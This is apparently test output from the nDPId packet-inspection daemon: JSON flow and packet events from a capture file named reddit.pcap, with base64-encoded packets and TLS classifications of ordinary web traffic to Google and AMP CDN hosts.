+01147{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9298,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":953297,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDDgdAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttYBu\/eX0dWRnn1ggBgB+1vDAAABAQgKGsMWusLXS7YWAwECAAEAAfwDA96WEVYjbITPXvxDhOji6nCQdC0KhgTdN6+o+9OqeXt9IDI6n9jVTXE+7b4jG8xDV1LuLRTUARgCyh8fXh42V1VjACD6+hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMqKgAAAAAAFwAVAAASY2RuLmFtcHByb2plY3Qub3JnABcAAP8BAAEAAAoACgAISkoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArAClKSgABAAAdACC0+5SyJ2jt8tT3w+Is8x7czlNEdFH4IL1ppCYO49RWZwAtAAIBAQArAAsKamoDBAMDAwIDAQAbAAMCAAKKigABAAAVAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9298,"source":"reddit.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690953,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46806,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00467{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9300,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":954541,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22KVwltPCUkXloBJXgMhIAAACBAV4AQMDAwQCCArC10u9GsMWnw=="} +00454{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9301,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":954562,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDtx5ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttgBu8JSReWlcJbUgBAB+0w+AAABAQgKGsMWu8LXS70="} +00467{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9302,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":954643,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22it1t9ZMt7NvoBJXgClQAAACBAV4AQMDAwQCCArC10u9GsMWnw=="} +00467{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9303,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":954643,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23LTmo6vQxszqoBJXgBZ9AAACBAV4AQMDAwQCCArC10u9GsMWnw=="} +00454{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9304,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":954649,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDhnPACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttoBu0y3s28rdbfXgBAB+61FAAABAQgKGsMWu8LXS70="} +00454{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9305,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":954655,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAc2lACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttwBu9DGzOq05qOsgBAB+5pyAAABAQgKGsMWu8LXS70="} +01149{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9306,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":954747,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDtx5AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttgBu8JSReWlcJbUgBgB+8dGAAABAQgKGsMWu8LXS70WAwECAAEAAfwDA3+7YXN8uULghjn9Yx4k2QYB36376hmbrRggZ0eXr\/9+IP2iD+DA1k36xX9GOoNszd6eNYaj3dekN9x\/XE8bE1dIACA6OhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNKSgAAAAAAFwAVAAASY2RuLmFtcHByb2plY3Qub3JnABcAAP8BAAEAAAoACgAIOjoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACk6OgABAAAdACBER8lo38zcpkmaCPLiXoa6+JDbprOR\/VESBxZzwiOrBgAtAAIBAQArAAsKamoDBAMDAwIDAQAbAAMCAAJaWgABAAAVAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9306,"source":"reddit.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690954,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46808,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01147{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9307,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":954937,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDhnPAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttoBu0y3s28rdbfXgBgB+yg+AAABAQgKGsMWu8LXS70WAwECAAEAAfwDAwV9PSLZiieFTsrwb5ePEiAq+zIrQhR0EBkPYuTZcw2xIK9+Ya8AvxlseoGAhp8z2wcy4GRd\/2tgmLnTQoGAr7lmACD6+hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNqagAAAAAAFwAVAAASY2RuLmFtcHByb2plY3Qub3JnABcAAP8BAAEAAAoACgAIqqoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmqqgABAAAdACCDMYORaya1YaUyb39J38cNu+oTtZdlNYXEhdiyzjyDBAAtAAIBAQArAAsKysoDBAMDAwIDAQAbAAMCAALKygABAAAVAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9307,"source":"reddit.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690954,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46810,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01148{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9308,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":955129,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAc2lAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttwBu9DGzOq05qOsgBgB+8QTAAABAQgKGsMWvMLXS70WAwECAAEAAfwDA9NQXnr9EPQV5HU7sHg21zD\/k9mVMQCLGTscCRIJvvLdIGZv95UrdgGMWa\/TkNOulH2VrZ4BEKc4CasnxiGwlqMaACAKChMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZO6ugAAAAAAFwAVAAASY2RuLmFtcHByb2plY3Qub3JnABcAAP8BAAEAAAoACgAIamoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArAClqagABAAAdACBaC+dtrwuc9yhJo5wqXEwHFEsHVbwYnP6Z3gN8xzV+DwAtAAIBAQArAAsKKioDBAMDAwIDAQAbAAMCAAJqagABAAAVAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9308,"source":"reddit.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690955,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46812,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00467{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9309,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":955375,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu23lfa6eczuyRVoBJXgHLsAAACBAV4AQMDAwQCCArC10u9GsMWnw=="} +00455{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9310,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":955404,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gClWEACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABtt4BuzO7JFVX2unogBAB+\/bgAAABAQgKGsMWvMLXS70="} +00467{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9311,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":955522,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgRAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbuVFgHH2llkCsoHoBJXgJ6iAAACBAV4AQMDAwQCCArC10u9qlQMrQ=="} +00454{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9312,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":955530,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBhSQACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIEQAAAAAAACAKlRYBu2QKygcBx9pagBAB+yKXAAABAQgKqlQMysLXS70="} +01146{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9313,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":955637,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gClWEAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABtt4BuzO7JFVX2unogBgB+4TBAAABAQgKGsMWvMLXS70WAwECAAEAAfwDAyJmBycAvyCH8SnNB2CBC3yfxoIM+Ymce0POg8ZwpXtBIH9PfR9yCxA5tGPPT4cExrc3Qkmd4YTExNykGp6bEZH3ACAKChMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAAFwAVAAASY2RuLmFtcHByb2plY3Qub3JnABcAAP8BAAEAAAoACgAIqqoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmqqgABAAAdACA6eb9HkRnUV512a5EvGRTLrw7IdAlKbphWjXQpKHePSAAtAAIBAQArAAsK2toDBAMDAwIDAQAbAAMCAAKqqgABAAAVAMoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9313,"source":"reddit.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690955,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46814,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01151{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9314,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":955751,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBhSQAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIEQAAAAAAACAKlRYBu2QKygcBx9pagBgB+7ghAAABAQgKqlQMysLXS70WAwECAAEAAfwDA0MhDCfgcZQW\/qt2QzKimm0T\/Isca8JmVqeJQDbrvBrqINQ4uQD4cMulecpeDh4RGq5zfSr3G28+STtUMIilUyfGACA6OhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNaWgAAAAAAGQAXAAAUZm9udHMuZ29vZ2xlYXBpcy5jb20AFwAA\/wEAAQAACgAKAAiqqgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKaqqAAEAAB0AIKLIRrB\/9d\/081INPFyx1jcz47jhpMuBOz2amAM9LokCAC0AAgEBACsACwqKigMEAwMDAgMBABsAAwIAAsrKAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00843{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9314,"source":"reddit.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690955,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:811::200a","src_port":38166,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fonts.googleapis.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00468{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9315,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":956447,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZEy\/C8or4r7coBJXgC2BAAACBAV4AQMDAwQCCArC10u+uJU7NA=="} +00467{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9316,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":956447,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZgWfUkJjbNefoBJXgN3ZAAACBAV4AQMDAwQCCArC10u+uJU7NA=="} +00454{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9317,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":956458,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBnVWACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGQBuyvivtxMvwvLgBAB+7F0AAABAQgKuJU7UsLXS74="} +00454{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9318,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":956464,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDhWZACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGYBu2Ns158Fn1JDgBAB+2HNAAABAQgKuJU7UsLXS74="} +01149{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9319,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":956563,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBnVWAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGQBuyvivtxMvwvLgBgB+weLAAABAQgKuJU7UsLXS74WAwECAAEAAfwDA\/KqVcb+jqsuy+pc9KilYVgZAEzQ86cjwq67GKq7nQtaIOrgXduV1ht3HJ4NSaQ01nhk1SGFsiLuJ4S0a7eBU0YJACCKihMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMqKgAAAAAAHgAcAAAZdHBjLmdvb2dsZXN5bmRpY2F0aW9uLmNvbQAXAAD\/AQABAAAKAAoACAoKAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApCgoAAQAAHQAgQy2WiyCHDU6V4a0QbWLV7\/15JREGysw3jo2qrGJjK34ALQACAQEAKwALCqqqAwQDAwMCAwEAGwADAgACCgoAAQAAFQDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00837{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9319,"source":"reddit.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":4,"flow_first_seen":1605291690926,"flow_last_seen":1605291690956,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36964,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"tpc.googlesyndication.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} 